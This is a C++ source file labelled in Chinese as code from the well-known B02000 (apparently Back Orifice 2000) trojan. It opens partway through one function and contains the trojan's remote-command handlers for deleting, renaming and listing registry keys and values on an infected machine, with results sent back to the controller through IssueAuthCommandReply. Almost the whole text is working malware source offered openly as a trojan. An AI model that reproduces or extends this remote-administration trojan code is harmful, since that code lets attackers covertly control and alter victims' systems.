cmd_registry.cpp

VC++著名的B02000木马的源代码 使用VC开发

			if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
				RegCloseKey(key);
			wsprintf(svBuffer,"Could not delete value. Unable to open subkey: %.256s\n", svKey);
			IssueAuthCommandReply(cas_from,comid,0,svBuffer);
			return 1;
		}
		
		if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
			RegCloseKey(key);
		key = subkey;
		svKey = svNext;
	} 

	// Delete value
	if(RegDeleteValue(key,svArg3) != ERROR_SUCCESS) {
		if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
			RegCloseKey(key);
	
		IssueAuthCommandReply(cas_from,comid,0,"Could not delete value\n");
		return 1;
	}
	
	// Clean up
	if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
		RegCloseKey(key);
	
	IssueAuthCommandReply(cas_from,comid,0,"Value deleted.\n");
	
	return 0;
}

int RegCopyKeyRecurse(HKEY key, HKEY newkey)
{
	// Get value length information
	char *svSubKeyName=NULL, *svClassName=NULL, *svValueName=NULL;
	BYTE *pValueData=NULL;
	DWORD cbMaxSubKeyLen, cbMaxClassLen, cbMaxValueNameLen, cbMaxValueDataLen;
	DWORD cbSubKeyLen, cbClassLen, cbValueNameLen, cbValueDataLen;
	if(RegQueryInfoKey(key,NULL,NULL,NULL,NULL,&cbMaxSubKeyLen,&cbMaxClassLen,NULL,&cbMaxValueNameLen,&cbMaxValueDataLen,NULL,NULL)!=ERROR_SUCCESS) {
		return -1;
	}
	cbMaxValueNameLen++;
	cbMaxClassLen++;
	cbMaxSubKeyLen++;
	svSubKeyName = (char *) malloc(cbMaxSubKeyLen);
	svClassName  = (char *) malloc(cbMaxClassLen);
	svValueName  = (char *) malloc(cbMaxValueNameLen);
	pValueData  = (BYTE *) malloc(cbMaxValueDataLen);

	// Copy all values
	int count=0;
	DWORD dwType;
	cbValueNameLen=cbMaxValueNameLen;
	cbValueDataLen=cbMaxValueDataLen;
	while(RegEnumValue(key,count,svValueName,&cbValueNameLen,NULL,&dwType,pValueData,&cbValueDataLen)!=ERROR_NO_MORE_ITEMS) {

		if(RegSetValueEx(newkey,svValueName,0,dwType,pValueData,cbValueDataLen)!=ERROR_SUCCESS) {
			free(svClassName);
			free(svSubKeyName);
			free(svValueName);
			free(pValueData);
			return -1;
		}

		cbValueNameLen=cbMaxValueNameLen;
		cbValueDataLen=cbMaxValueDataLen;
		count++;
	}

	free(svValueName);
	free(pValueData);

	// Now go through keys and copy them too, along with security descriptors
	
	count=0;
	cbSubKeyLen=cbMaxSubKeyLen;
	cbClassLen=cbMaxClassLen;
	while(RegEnumKeyEx(key,count,svSubKeyName,&cbSubKeyLen,NULL,svClassName,&cbClassLen,NULL)!=ERROR_NO_MORE_ITEMS) {
		HKEY subkey;
		if(RegOpenKeyEx(key,svSubKeyName,0,KEY_ALL_ACCESS|ACCESS_SYSTEM_SECURITY,&subkey)!=ERROR_SUCCESS) {
			free(svClassName);
			free(svSubKeyName);
			return -1;
		}
		
		// Create new key name
		DWORD cbSecDesc=0;
		SECURITY_DESCRIPTOR *psd=NULL;
	
		if(g_bIsWinNT) {
			psd=(SECURITY_DESCRIPTOR *)malloc(cbSecDesc);
			pRegGetKeySecurity(subkey,0xF,psd,&cbSecDesc);
		} else cbSecDesc=0;

		SECURITY_ATTRIBUTES sa;
		sa.nLength=sizeof(SECURITY_ATTRIBUTES);
		sa.lpSecurityDescriptor=psd;
		sa.bInheritHandle=FALSE;

		HKEY newsubkey;
		if(RegCreateKeyEx(newkey,svSubKeyName,0,svClassName,0,KEY_ALL_ACCESS|ACCESS_SYSTEM_SECURITY,&sa,&newsubkey,NULL)!=ERROR_SUCCESS) {
			if(psd) free(psd);
			RegCloseKey(subkey);
			free(svSubKeyName);
			free(svClassName);
			return -1;
		}
	
		if(psd) free(psd);

		// Recurse into this new key
		if(RegCopyKeyRecurse(subkey,newsubkey)==-1) {
			RegCloseKey(newsubkey);
			RegCloseKey(subkey);
			free(svSubKeyName);
			free(svClassName);
			return -1;
		}

		RegCloseKey(newsubkey);
		RegCloseKey(subkey);

		cbSubKeyLen=cbMaxSubKeyLen;
		cbClassLen=cbMaxClassLen;
		count++;
	}

	free(svSubKeyName);
	free(svClassName);

	return 0;
}

int CmdProc_RegRenameKey(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
	char svBuffer[1024];
	
	// Get root key
	char *svKey,*svNext;
	HKEY key;
	svKey=GetRootKey(svArg2,&key);
	if(svKey==NULL) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not open key. Invalid root key.\n");
		return -1;
	}

	// Remove trailing backslash
	if(lstrlen(svKey)>1) {
		if(svKey[lstrlen(svKey)-1]=='\\') {
			svKey[lstrlen(svKey)-1]='\0';
		}
	}
	
	// Open key hierarchy
	HKEY subkey,hkParent=NULL;
	char *svLastKeyName=NULL;
	while(svKey!=NULL) {
		svNext=BreakString(svKey,"\\");
		
		if(RegOpenKeyEx(key, svKey, 0, KEY_READ|ACCESS_SYSTEM_SECURITY, &subkey) != ERROR_SUCCESS) {
			if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
				RegCloseKey(key);
			wsprintf(svBuffer,"Could not open key. Unable to open subkey: %.256s\n", svKey);
			IssueAuthCommandReply(cas_from,comid,0,svBuffer);
			return -1;
		}
	
		if(svNext!=NULL) {
			if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
				RegCloseKey(key);
		} else {
			hkParent=key;
			svLastKeyName=svKey;
		}
		key = subkey;
		svKey = svNext;
	} 
	// Don't rename if keys are the same
	if(lstrcmpi(svLastKeyName,svArg3)==0) {
		if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
				RegCloseKey(key);
		wsprintf(svBuffer,"Could not rename key. Keys have the same name.\n");
		IssueAuthCommandReply(cas_from,comid,0,svBuffer);
		return -1;
	}
	
	// Create new key name
	DWORD cbClass=0,cbSecDesc=0;
	SECURITY_DESCRIPTOR *psd=NULL;
	char *svClass=NULL;
		
	RegQueryInfoKey(key,NULL,&cbClass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,&cbSecDesc,NULL);
	if(cbClass>0) {
		svClass=(char *)malloc(cbClass);
		RegQueryInfoKey(key,svClass,&cbClass,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);
	}
	
	if(g_bIsWinNT) {
		psd=(SECURITY_DESCRIPTOR *)malloc(cbSecDesc);
		pRegGetKeySecurity(key,0xF,psd,&cbSecDesc);
	} else cbSecDesc=0;
	
	SECURITY_ATTRIBUTES sa;
	sa.nLength=sizeof(SECURITY_ATTRIBUTES);
	sa.lpSecurityDescriptor=psd;
	sa.bInheritHandle=FALSE;

	HKEY newkey;
	if(RegCreateKeyEx(hkParent,svArg3,0,svClass,0,KEY_ALL_ACCESS|ACCESS_SYSTEM_SECURITY,&sa,&newkey,NULL)!=ERROR_SUCCESS) {
		if(svClass) free(svClass);
		if(psd) free(psd);
		RegCloseKey(hkParent);
		RegCloseKey(key);
		wsprintf(svBuffer,"Could not create key.\n");
		IssueAuthCommandReply(cas_from,comid,0,svBuffer);
		return -1;
	}
	if(svClass) free(svClass);
	if(psd) free(psd);
	
	// Copy this key recursively
	if(RegCopyKeyRecurse(key, newkey)==-1) {
		RegCloseKey(newkey);
		RegCloseKey(hkParent);
		RegCloseKey(key);
		wsprintf(svBuffer,"Could not copy key recursively.\n");
		IssueAuthCommandReply(cas_from,comid,0,svBuffer);
		return -1;
	}

	// Delete original key
	char svSubKeyBuf[MAX_PATH+1];
	if(RegDeleteKeyRecurse(hkParent,svLastKeyName,svSubKeyBuf)==-1) {
		RegCloseKey(newkey);
		RegCloseKey(hkParent);
		RegCloseKey(key);
		wsprintf(svBuffer,"Could not delete original key.\n");
		IssueAuthCommandReply(cas_from,comid,0,svBuffer);		
	}


	RegCloseKey(newkey);
	RegCloseKey(key);
	RegCloseKey(hkParent);

	wsprintf(svBuffer,"Key renamed.\n");
	IssueAuthCommandReply(cas_from,comid,0,svBuffer);
	return 0;
}

int CmdProc_RegRenameValue(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
	char svBuffer[1024];
	char *svValueName;
	svValueName=BreakString(svArg2,"\\\\");
	if(svValueName==NULL) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not rename value. Syntax error.\n");
		return -1;
	}
	// Don't rename if values are the same name
	if(lstrcmpi(svValueName,svArg3)==0) {
		wsprintf(svBuffer,"Could not rename value. Values have the same name.\n");
		IssueAuthCommandReply(cas_from,comid,0,svBuffer);
		return -1;
	}

	// Get root key
	char *svKey,*svNext;
	HKEY key;
	svKey=GetRootKey(svArg2,&key);
	if(svKey==NULL) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not open key. Invalid root key.\n");
		return -1;
	}

	// Open key hierarchy
	HKEY subkey;
	DWORD dwPerm=KEY_READ;
	while(svKey!=NULL) {
		svNext=BreakString(svKey,"\\");
		if(svNext==NULL) dwPerm=KEY_READ|KEY_WRITE;
		if(RegOpenKeyEx(key, svKey, 0, dwPerm, &subkey) != ERROR_SUCCESS) {
			if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
				RegCloseKey(key);
			wsprintf(svBuffer,"Could not open key. Unable to open subkey: %.256s\n", svKey);
			IssueAuthCommandReply(cas_from,comid,0,svBuffer);
			return -1;
		}
	
		if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
			RegCloseKey(key);
		
		key = subkey;
		svKey = svNext;
	} 
	
	// Query value
	DWORD dwType,cbData;
	BYTE *pData=NULL;
	RegQueryValueEx(key,svValueName,NULL,&dwType,NULL,&cbData);
	pData=(BYTE *)malloc(cbData);
	if(RegQueryValueEx(key,svValueName,NULL,NULL,pData,&cbData)!=ERROR_SUCCESS) {
		free(pData);
		if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA)
			RegCloseKey(key);
		wsprintf(svBuffer,"Could not rename value. Unable to query.\n");
		IssueAuthCommandReply(cas_from,comid,0,svBuffer);
		return -1;
	}
	
	if(RegSetValueEx(key,svArg3,0,dwType,pData,cbData)!=ERROR_SUCCESS) {
		free(pData);
		if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA)
			RegCloseKey(key);
		wsprintf(svBuffer,"Could not rename value. Unable to set.\n");
		IssueAuthCommandReply(cas_from,comid,0,svBuffer);
		return -1;		
	}
	free(pData);

	if(RegDeleteValue(key,svValueName)!=ERROR_SUCCESS) {
		if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA)
			RegCloseKey(key);
		wsprintf(svBuffer,"Could not rename value. Value was copied, though.\n");
		IssueAuthCommandReply(cas_from,comid,0,svBuffer);
		return -1;
	}

	if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA)
		RegCloseKey(key);
	
	wsprintf(svBuffer,"Value renamed.\n");
	IssueAuthCommandReply(cas_from,comid,0,svBuffer);
	return 0;
}

int CmdProc_RegEnumKeys(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
	char svBuffer[1024];
	
	// Get root key
	char *svKey,*svNext;
	HKEY key;
	svKey=GetRootKey(svArg2,&key);
	if(svKey==NULL) {
		IssueAuthCommandReply(cas_from,comid,0,"Unable to open key. Invalid root key.\n");
		return -1;
	}

	// Open key hierarchy
	HKEY subkey;
	DWORD dwPerm=KEY_READ;
	while(svKey!=NULL) {
		svNext=BreakString(svKey,"\\");
		if(svNext==NULL) dwPerm=KEY_READ|KEY_WRITE;
		if(RegOpenKeyEx(key, svKey, 0, dwPerm, &subkey) != ERROR_SUCCESS) {
			if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
				RegCloseKey(key);
			wsprintf(svBuffer,"Unable to open subkey: %.256s\n", svKey);
			IssueAuthCommandReply(cas_from,comid,0,svBuffer);
			return 1;
		}
		
		if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
			RegCloseKey(key);
		key = subkey;
		svKey = svNext;
	} 
	
	
	// Enumerate Keys
	int nCount;
	char svKeyBuf[MAX_PATH+1];
	nCount=0;

	IssueAuthCommandReply(cas_from,comid,1,"Subkeys:\n");

	while(RegEnumKey(key,nCount,svKeyBuf,MAX_PATH)==ERROR_SUCCESS) {
		RegOpenKey(key,svKeyBuf,&subkey);
		DWORD keycount;
		RegQueryInfoKey(subkey,NULL,NULL,NULL,&keycount,NULL,NULL,NULL,NULL,NULL,NULL,NULL);
		if(keycount>0) {
			wsprintf(svBuffer,"  %s\\\n",svKeyBuf);
		} else {
			wsprintf(svBuffer,"  %s\n",svKeyBuf);
		}
		RegCloseKey(subkey);
		IssueAuthCommandReply(cas_from,comid,1,svBuffer);
		nCount++;
	}
	wsprintf(svBuffer,"%d keys\n",nCount);
	IssueAuthCommandReply(cas_from,comid,0,svBuffer);
		
	// Clean up
	if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
		RegCloseKey(key);

	return 0;
}

int CmdProc_RegEnumValues(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
	char svBuffer[1024];
	
	// Get root key
	char *svKey,*svNext;
	HKEY key;
	svKey=GetRootKey(svArg2,&key);
	if(svKey==NULL) {
		IssueAuthCommandReply(cas_from,comid,0,"Unable to list values. Invalid root key.\n");
		return -1;
	}

	// Open key hierarchy
	HKEY subkey;
	DWORD dwPerm=KEY_READ;
	while(svKey!=NULL) {
		svNext=BreakString(svKey,"\\");
		if(svNext==NULL) dwPerm=KEY_READ|KEY_WRITE;
		if(RegOpenKeyEx(key, svKey, 0, dwPerm, &subkey) != ERROR_SUCCESS) {
			if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
				RegCloseKey(key);
			wsprintf(svBuffer,"Unable to open subkey: %.256s\n", svKey);
			IssueAuthCommandReply(cas_from,comid,0,svBuffer);
			return 1;
		}
		
		if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
			RegCloseKey(key);
		key = subkey;
		svKey = svNext;
	} 
	
	
	// Enumerate values
	int nCount;
	char svValueBuf[MAX_PATH+1];
	nCount=0;
	DWORD dwType, dwValueLen;
	char *svType;
	
	IssueAuthCommandReply(cas_from,comid,1,"Value type/names:\n");
	dwValueLen=MAX_PATH;
	while(RegEnumValue(key,nCount,svValueBuf,&dwValueLen,NULL,&dwType,NULL,NULL)==ERROR_SUCCESS) {
		switch(dwType) {
		case REG_BINARY: svType="BINARY"; break;
		case REG_DWORD: svType="DWORD"; break;
		case REG_EXPAND_SZ: svType="EXPAND_SZ"; break;
		case REG_LINK: svType="LINK"; break;
		case REG_MULTI_SZ: svType="MULTI_SZ"; break;
		case REG_RESOURCE_LIST: svType="RESOURCE_LIST"; break;
		case REG_SZ: svType="SZ"; break;
		case REG_NONE: svType="NONE"; break;
		default: svType="UNKNOWN"; break;
		}

		wsprintf(svBuffer,"REG_%s: %s\n",svType,svValueBuf);
		
		IssueAuthCommandReply(cas_from,comid,1,svBuffer);
		nCount++;
		dwValueLen=MAX_PATH;
	}
	
/*	// Spit out default value as well
	RegQueryValueEx(key,"",NULL,&dwType,NULL,NULL);
	switch(dwType) {
	case REG_BINARY: svType="BINARY"; break;
	case REG_DWORD: svType="DWORD"; break;
	case REG_EXPAND_SZ: svType="EXPAND_SZ"; break;
	case REG_LINK: svType="LINK"; break;
	case REG_MULTI_SZ: svType="MULTI_SZ"; break;
	case REG_RESOURCE_LIST: svType="RESOURCE_LIST"; break;
	case REG_SZ: svType="SZ"; break;
	case REG_NONE: svType="NONE"; break;
	default: svType="UNKNOWN"; break;
	}
	wsprintf(svBuffer,"REG_%s: \n",svType);
	IssueAuthCommandReply(cas_from,comid,1,svBuffer);
*/
	
	wsprintf(svBuffer,"%d values\n",nCount+1);
	IssueAuthCommandReply(cas_from,comid,0,svBuffer);
		
	// Clean up
	if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
		RegCloseKey(key);

	return 0;
}